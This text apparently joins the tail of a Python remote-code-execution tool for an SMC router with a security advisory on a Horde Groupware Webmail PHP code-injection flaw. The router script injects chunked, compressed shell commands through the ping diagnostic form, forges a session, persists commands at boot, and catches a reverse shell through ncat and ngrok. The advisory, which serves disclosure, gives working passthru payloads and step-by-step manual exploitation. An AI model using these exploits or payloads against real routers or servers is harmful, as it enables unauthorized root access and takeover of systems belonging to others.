			cmd += f";echo \"/usr/sbin/iccctl start;{cmd};\">{self.persistent_cmd_loc};"

		logging.info(f"Transmitting command '{cmd}'")
		if not already_injected:
			command = f"rm /tmp/t /usr/cgr/www/vpn/*"
			short_single_command_data = f"vlu_diagnostic_tools__ping_address==$({command})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=short_single_command_data, verify=False)

			# chop_up_command 
			params_format = "vlu_diagnostic_tools__ping_address=$(echo -n '{}'>>{})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			compressed_command = b64encode(gzip.compress(cmd.encode('ascii')))
			logging.debug(f"Transmitting command {cmd} compressed as {compressed_command}")
			cmd_list = [compressed_command[x:x+11] for x in range(0,len(compressed_command),11)]
			for cmd_bit in cmd_list:
				print(".", end="", flush=True)
				# logging.debug(cmd_bit.decode())
				logging.debug("$(echo -n '{}'>>{})".format(urllib.parse.quote(cmd_bit), self.cmd_loc))
				response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=params_format.format(urllib.parse.quote(cmd_bit), self.cmd_loc), verify=False)
				logging.debug(f"Response wile transmitting command bit {cmd_bit} => {response.headers}")

		try:
			logging.info(f"Executing command...")
			data = f"vlu_diagnostic_tools__ping_address=$(cat {self.cmd_loc}|base64 -d|zcat|sh)&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, timeout=5, data=data, verify=False)
			# logging.info("Done executing command.")
		except requests.exceptions.ReadTimeout:
			pass
		except requests.exceptions.ConnectionError as e:
			logging.info("Target Disconnected")
			pass
			
		if feedback:
			try:
				response = requests.post(f"{self.url}/vpn/output", cookies=self.cookies, timeout=5, data=data, verify=False)
				return response.text
			except requests.exceptions.ReadTimeout:
				pass

	#FUNCTIONILITY[EXIT]
	#reboot seems the cleanest way
	def quit(self):
		if self.session_injected:
			self.execute_command("rm /tmp/t /tmp/SMC; umount /usr/cgr/www/vpn; kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &")
		os.system("pkill -xe ngrok")
		os.system("pkill -xe ncat")

	################################# Unique Functions Area ####################
	def inject_session(self):
		if self.session_injected:
			return
		params_format = "param_int=78&param_str=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{}"
		injection_fuzz_list = [f"ÿÿÿAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsession={self.cookies['session']}","ÿÿ","ÿ",""]
		logging.info("Injecting Session!!!")
		for appendee in injection_fuzz_list:
			print(".", end="", flush=True)
			response = requests.post(f"{self.url}/goform/formParamRedirectUrl", cookies=self.cookies, data=params_format.format(appendee), verify=False)
		logging.info("Session injected succesfully!!!")
		self.session_injected = True

	def listen_on_ngrok(self):
		# set up ngrok subprocess
		listen_port = None
		ngrok_process = subprocess.Popen([f"{self.dir_path}/ngrok.exe", "tcp", f"{self.shell_listen_port}", "--authtoken", f"{self.ngrok_auth_token}"], stdout=subprocess.PIPE)
		time.sleep(5)
		localhost_ngrok_monitor_url = "http://localhost:4040/api/tunnels"
		tunnels = requests.get(localhost_ngrok_monitor_url).text #Get the tunnel information
		if tunnels is not None and json.loads(tunnels)['tunnels']:
			j = json.loads(tunnels)
			if self.shell_listen_port == j['tunnels'][0]['config']['addr'].split(':')[1]:
				tunnel_url = j['tunnels'][0]['public_url']
				listen_port = tunnel_url.split(":")[2]
				logging.info(f"Ngrok: Listening on {tunnel_url} -> {j['tunnels'][0]['config']['addr']}")
			else:
				ngrok_process.terminate()
				return None, None
		return listen_port, ngrok_process
		
	def listen_for_incoming_shell(self):
		print("Running ncat.exe: {}".format([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"]))
		with subprocess.Popen([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=sys.stdin, universal_newlines=True) as ncat_process:
			ncat_output = ncat_process.stdout.readlines(300)
			print("ncat_output: {}, found?: {}".format(ncat_output, any("Listening" in s for s in ncat_output)))
			ncat_status = ncat_output[1].strip().split()[1]
			print("ncat_status: {}".format(ncat_status))
			if any("Listening" in s for s in ncat_output):
				logging.info(ncat_output[1].strip())
				while ncat_process.poll() is None:
					print(self.shell_prompt, ncat_process.stdout.readline().strip())
			else:
				logging.critical(ncat_output[1].strip())
			ncat_process.terminate()


def parse_ip_port(arg_value, pat=re.compile(r"((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)):
	url_match = pat.match(arg_value)
	if not url_match:
		raise argparse.ArgumentTypeError
	return url_match.group(1), url_match.group(2)

if __name__ == "__main__":
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	# logging.basicConfig(level=logging.DEBUG)
	logging.basicConfig(level=logging.INFO)
	parser = argparse.ArgumentParser(description='SMC Root RCE params')
	parser = argparse.ArgumentParser(description='Required: public ip or ngrok authentication token to use their public ip.')
	parser.add_argument('url', metavar='IP|FQDN', type=str, help='Target URL without path')
	rev_shell_ip = parser.add_mutually_exclusive_group()
	rev_shell_ip.add_argument('--ngrok_auth_token', metavar='auth_token', type=str, nargs=1,
		help='ngrok authentication token to listen on a pulic IP for reverse shell connection.', default=[''])
	rev_shell_ip.add_argument('--listen_ip_port', metavar='ip:port', type=parse_ip_port, nargs=1, default=[('0.tcp.ngrok.io','8888')],
		help='public facing IP and port to get a shell through.')
	args = parser.parse_args()
	SMC(args.url,"unknown", args.ngrok_auth_token[0], args.listen_ip_port[0][0], args.listen_ip_port[0][1]).run()


SSD Advisory – Horde Groupware Webmail Edition Remote Code Execution

Vulnerability Summary
The Horde project comprises of several standalone applications and libraries. The Horde Groupware Webmail Edition suite bundles several of them by default, among those, Data is a library used to manager data import/export in several formats, e.g., CSV, iCalendar, vCard, etc.
The function in charge of parsing the CSV format uses create_function in a way that enables injection of arbitrary PHP code, thus enabling Remote Code Execution on the server hosting the web application.

CVE
Placeholder

Credit
An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Horde Groupware Webmail Edition Version 5.2.22

Vendor Response
Placeholder

Vulnerability Details
A vulnerable CVE parsing feature is used by several Horde applications:

  • Turba (address book; via /turba/data.php)
  • Mnemo (notes; via /mnemo/data.php)
  • Nag (tasks; via /nag/data.php)
  • Kronolith (calendar)

By using one of these, an authenticated user can execute arbitrary PHP and shell code as the user that runs the web server, usually www-data.
In the master branch of the Data repository, a commit replaced create_function with a lambda function (as suggested by PHP that deprecated create_function in version 7.2.0), yet apparently the authors failed to recognize the exploitable status of prior code so they did not release a new version. So, when installing Horde via PEAR or Debian APT, it yields the vulnerable version (2.1.4).
Since this vulnerability does not concern IMP (the Horde webmail application) specifically, it is likely that the vulnerability affects regular Horde Groupware installations as well.


In the file lib/Horde/Data/Csv.php the following snippet is used to parse a CSV line:

if ($row) {
    $row = (strlen($params['quote']) && strlen($params['escape']))
        ? array_map(create_function('$a', 'return str_replace(\'' . str_replace('\'', '\\\'', $params['escape'] . $params['quote']) . '\', \'' . str_replace('\'', '\\\'', $params['quote']) . '\', $a);'), $row)
        : array_map('trim', $row);
}

Among the other things, the user supplies $params['quote'], so for example if its value is quote then create_function is called as:

create_function('$a', "return str_replace('\\quote', 'quote', \$a);")

The insufficient sanitization of $params['quote'] escapes ’ as \’ but fails to escape the \ itself thus allowing to escape the last hard coded ’. By passing quote\, create_function is called as:

create_function('$a', "return str_replace('\\quote\\', 'quote\\', \$a)")

And evaluated body is:

return str_replace('\quote\', 'quote\', $a);

Which causes a syntax error. (Note how the first string argument of str_replace now terminates at the first ‘ of the second instance of quote)
Using a simple payload that executes the id shell command and returns the output in the response:

).passthru("id").die();}//\

Where the evaluated body eventually is:

return str_replace('\).passthru(id).die();}//\', ').passthru(id).die();}//\', $a);

Here is an explanation of its parts:

  1. ) terminates str_replace
  2. The concatenation operator (.) continues the expression since the code starts with a return
  3. passthru("id") is an example of the actual payload to be executed
  4. die() is needed because create_function is used inside array_map thus if it can be called multiple times and it also aborts the rest of the page
  5. } terminates the block function (...) {...} used by the implementation of create_function, otherwise the following // would comment out } causing a syntax error
  6. // comments out the remaining invalid PHP code
  7. \ escapes the hard coded string as shown above.

Since some characters are treated specially, it may be convenient to encode the command to be executed with Base64, the payload will then become:

).passthru(base64_decode("aWQ=")).die();}//\

Proof of Concept
Among all the affected applications, Mnemo is probably one of the easiest to exploit as it does not require additional parameters that need to be scraped from the pages.

Manual Exploit
This vulnerability can be easily exploited manually by any registered user:

  1. Log into Horde
  2. Navigate to http://target.com/mnemo/data.php
  3. Select any non-empty file to import then click “Next”
  4. In the input field labeled by “What is the quote character?” write the payload, e.g ).passthru("id").die();}//\ and click “Next”
  5. The output of the command should be returned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell Exploit
You can also write simple script to automate the steps above. Example scripts are available on our GitHub repository: SSD Horde Groupware Webmail Advisory GitHub Repository